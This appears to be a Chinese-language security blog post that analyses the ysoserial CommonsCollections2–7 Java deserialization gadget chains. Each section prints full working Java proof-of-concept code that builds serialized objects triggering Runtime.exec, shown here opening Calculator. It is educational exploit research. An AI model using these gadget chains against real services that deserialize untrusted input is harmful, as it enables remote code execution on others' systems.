ysoserial之CommonsCollections2-7 - P3

CommonsCollections2

复现环境

JDK1.7

Commonscollections4

cc2后半段的链沿用的是cc1所用的, 所以这里只要理解了前半段的内容即可。

1
2
3
4
5
6
7
8
9
// 摘自ysoserial
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

首先跟进PriorityQueuereadObject方法, 773行处调用了heapify方法:

image-20210114203334670

heapify中循环调用了siftDown方法, 在siftDown中只要comparator不为null则会调用siftDownUsingComparator方法, 随后在该方法中调用了comparatorcompare方法。而在TransformingComparator类中的compare方法中调用了transform方法。所以此处可沿用cc1后半段利用链达到命令执行。

image-20210114203823477


回到PriorityQueue类的heapify方法中, 在for循环中我们需要令(size >>> 1) - 1 >= 0才能够使条件成立进入循环体中的代码块, 也就是说size至少要为2:

image-20210114204142620

size初始化为0很明显不满足条件, 此时便找到add方法, 其会返回调用offer方法的结果, 在offer中会对size进行+1, 简言之只需要调用两次add方法便能令size为2满足循环条件。

image-20210114204554291

万事俱备便可以构造反序列化代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class CommonsCollections2 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
});
TransformingComparator transformingComparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue();
queue.add(1);
queue.add(1);

// 反射设置私有成员变量comparator为TransformingComparator对象
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2"));
oos.writeObject(queue);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc2"));
ois.readObject();
}
}

image-20210114205938412

题外话

这里为什么不通过new PriorityQueue的方式来设置comparatorTransformingComparator对象, 而是要通过反射的方法去设置呢? 因为如果在new PriorityQueue的时候设置comparator的话则会在调用offer方法时当变量i不为0时会调用siftUp方法, 该方法中会判断如果comparator不为null时就会调用siftUpUsingComparator方法了。 导致还未序列化时就会调用到TransformingComparator对象的compare方法从而触发后面的Transformer链。

CommonsCollections3

复现环境

JDK1.7

CommonsCollections3.1

cc3的链大部分与cc1的差不多, 不同之处在于用到了ssistTemplatesImpl等。TemplatesImpl类的newTransformer方法在实例化对象时调用了getTransletInstance方法。在该方法中会调用_class属性第一个元素的newInstance方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("cc3");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] class_bytecode = cc.toBytecode();
byte[][] class_bytecodes = new byte[][]{class_bytecode};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, class_bytecodes);
name.set(templates, "test");
tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

上述的代码使用ssist库生成一个恶意Class, 在类中添加了用于执行命令的static代码块。并设置其父类为AbstractTranslet, 将其转换为字节码后赋值给TemplatesImpl类的_bytecodes属性。在调用TemplatesImpl对象的newTransformer方法时, 其会调用getTransletInstance方法。而在defineTransletClasses方法中会将之前的字节码转换为Class。当调用newInstance方法初始化类时则会加载静态代码块的内容从而执行命令

image-20210116175055602

上述的例子依然是基于手动调用触发gadget的效果, 在CC3中使用的是InstantiateTransformertransform方法, 其会通过反射返回一个实例对象。iParamTypesiArgs均可控。

image-20210116203627842

TrAXFilter类的构造方法中其接收一个Templates对象并调用其newTransformer方法, 到这里利用链就很清晰了。首先ConstantTransformer会返回TrAXFilterClass对象。然后将其作为参数调用InstantiateTransformertransform方法。该方法会实例化TrAXFilter对象并调用TemplatesImplnewTransformer方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
// 当调用TemplatesImpl的newTransformer方法会加载cc3恶意类, 该类的静态代码块中调用Runtime类的exec方法执行命令
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("cc3");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] class_bytecode = cc.toBytecode();
byte[][] class_bytecodes = new byte[][]{class_bytecode};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, class_bytecodes);
name.set(templates, "test");
tfactory.set(templates, new TransformerFactoryImpl());
// 沿用cc1的部分gadget
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap hashMap = new HashMap();
LazyMap decorate = (LazyMap) LazyMap.decorate(hashMap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) handler_constructor.newInstance(Override.class, decorate);

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

Constructor annotation_invocation_handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
annotation_invocation_handler.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotation_invocation_handler.newInstance(Override.class, proxy_map);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3"));
oos.writeObject(handler);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc3"));
ois.readObject();
}
}

image-20210116204812890

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

CommonsCollections4

复现环境

JDK1.7

CommonsCollections4

CC4是CC2与CC3的结合, 这部分内容不做赘述了, 直接分析gadget构造序列化代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget Chain
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
newInstance()
Runtime.exec()

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("cc4");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytecode = cc.toBytecode();
byte[][] classBytecodes = new byte[][]{classBytecode};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.set(templates, classBytecodes);
name.set(templates, "test");
tfactory.set(templates, new TransformerFactoryImpl());

PriorityQueue queue = new PriorityQueue();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
TransformingComparator transformingComparator = new TransformingComparator(chain);
Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue, transformingComparator);
queue.add(1);
queue.add(1);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc4"));
oos.writeObject(queue);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc4"));
ois.readObject();
}
}

image-20210117111348722

CommonsCollections5

复现环境

JDK1.7

CommonsCollections3.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

从上述的利用链中能够看出后半部分依旧沿用的是CC1的, 故此先构造这部分代码:

image-20210130130457681

回到前半部分的利用链, 在BadAttributeValueExpException#readObject中调用了valObj.toString()方法, 而valObj是通过get方法获取val属性, 因此只需要通过反射令val属性为TiedMapEntry对象即可

image-20210130131128123

跟进TiedMapEntry#toString中其调用了getKey与getValue方法, 在getValue方法中调用map属性的get方法并传入key属性为参数。而这两个属性均可控。

image-20210130131413434

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
});
Map decorate = LazyMap.decorate(hashMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "111");
Class clz = Class.forName("javax.management.BadAttributeValueExpException");
BadAttributeValueExpException bavee = new BadAttributeValueExpException(111);
Field val = clz.getDeclaredField("val");
val.setAccessible(true);
val.set(bavee, tiedMapEntry);

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5"));
oos.writeObject(bavee);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5"));
ois.readObject();
}
}

image-20210130132514970

CommonsCollections6

复现环境

JDK1.7

CommonsCollections3.1

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

这部分利用链只讲解前半部分的构造, 后半部分的可通过之前的gadget自行理解。

首先跟进HashSet#readObject方法, 调用put方法传入的e参数是反序列化s变量而来的, 其是在反序列化时循环调用keySet方法写入的。该变量为一个关键点。

image-20210130173454390

put方法中调用hash方法, 传入的key变量是上图调用put方法时的e变量, 在hash方法中会调用该变量的hashCode方法, 从gadget中能够得知此处只要kTiedMapEntry对象便会触发后面的链。

image-20210130173828380

回到一开始的HashSet#writeObject中, 在多次循环map.keySet后最终会将HashMap$Entrykey属性返回并写入(Entry是HashMap中的静态内部类), 因此只需令该属性为TiedMapEntry对象即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
Map lazymap = LazyMap.decorate(new HashMap(), chain);
HashSet hashSet = new HashSet(1);
hashSet.add("foo");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "foo");
// 获取HashSet对象的map属性
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
HashMap hashMap = (HashMap) map.get(hashSet);
// 获取HashMap对象的table属性 其是一个Entry[]类型 转换为Object[]
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[]) table.get(hashMap);
Object node = array[0];
// 设置key属性为TiedMapEntry对象即可触发利用链
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, tiedMapEntry);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6"));
oos.writeObject(hashSet);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6"));
ois.readObject();
}
}

image-20210130174651688

CommonsCollections7

复现环境

JDK1.8

CommonsCollections3.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

CC7中的gadget部分沿用了熟悉的LazyMap, 这部分利用代码如下:
image-20210131135523665

首先来到HashTable#readObject, 在for循环时通过反序列化获取keyvalue, 这两个变量是在序列化时写入的。然后会调用reconstitutionPut方法并传入table属性和key & value

image-20210131142508678

HashTable#writeObject中写入的entryStack.keyentryStack.value其实就是在HashTable#put时添加的, 这里先放出完整的利用代码, 通过对代码debug调试会更加清晰。

image-20210131162406870

代码首先实例化两个HashMap对象分别为:innerMap1innerMap2, 再根据这两个对象实例化两个LazyMap对象, 两个对象分别put两个元素, 其键为yyzZ, 然后实例化HashTable添加两个元素, 这两个元素即两个LazyMap对象。最后代码移除了lazyMap2对象键为yy的元素, 这一步后续再讲解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = chain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chain, transformers);

lazyMap2.remove("yy");

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7"));
oos.writeObject(hashtable);

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7"));
ois.readObject();
}
}

在进行反序列化时首先会进入到HashTable#readObject中, 因为put了两个元素, 所以elements长度为2, 然后反序列化获得key和value并调用reconstitutionPut方法。接着会调用key.hashCode方法获取hash。其最终会返回yy的hash为3873, 然后计算得出index为3。而此时的tab为空, 不会进入for循环中, 会new一个Entry对象放入tab.

image-20210131163729616

接着第二次循环调用reconstitutionPut方法:

image-20210131163857288

因为yyzZ的hash是一样的, 所以第二次循环时hashindex不变, 而在第一次循环时new的Entry对象放进了tab数组的下标为3的元素, 再取出这个对象后比对其hash一致后调用e.key.equals方法, 即调用LazyMap#equals, 而LazyMap没有equals方法会调用其父类的。最终在AbstractMap#equals中调用LazyMap#get完成触发RCE。

image-20210131164459526

Q & A

  1. 为什么在HashTable中put两个LazyMap对象, 并且两个对象的键为yy和zZ?

    在反序列化循环调用reconstitutionPut方法时, 第一次不会进入其方法的for循环, 因为tab变量是空的, 不满足条件, 然后会将实例的Entry放入tab中, 第二次循环因为hash是一样的所以index也是一样的。便会取出第一次循环时实例的Entry对象, 对比其hash一致后便会调用e.key.equals(key)。

    这里倘若yy和zZ的hash不一致的话便无法利用, 此为gadget的关键点。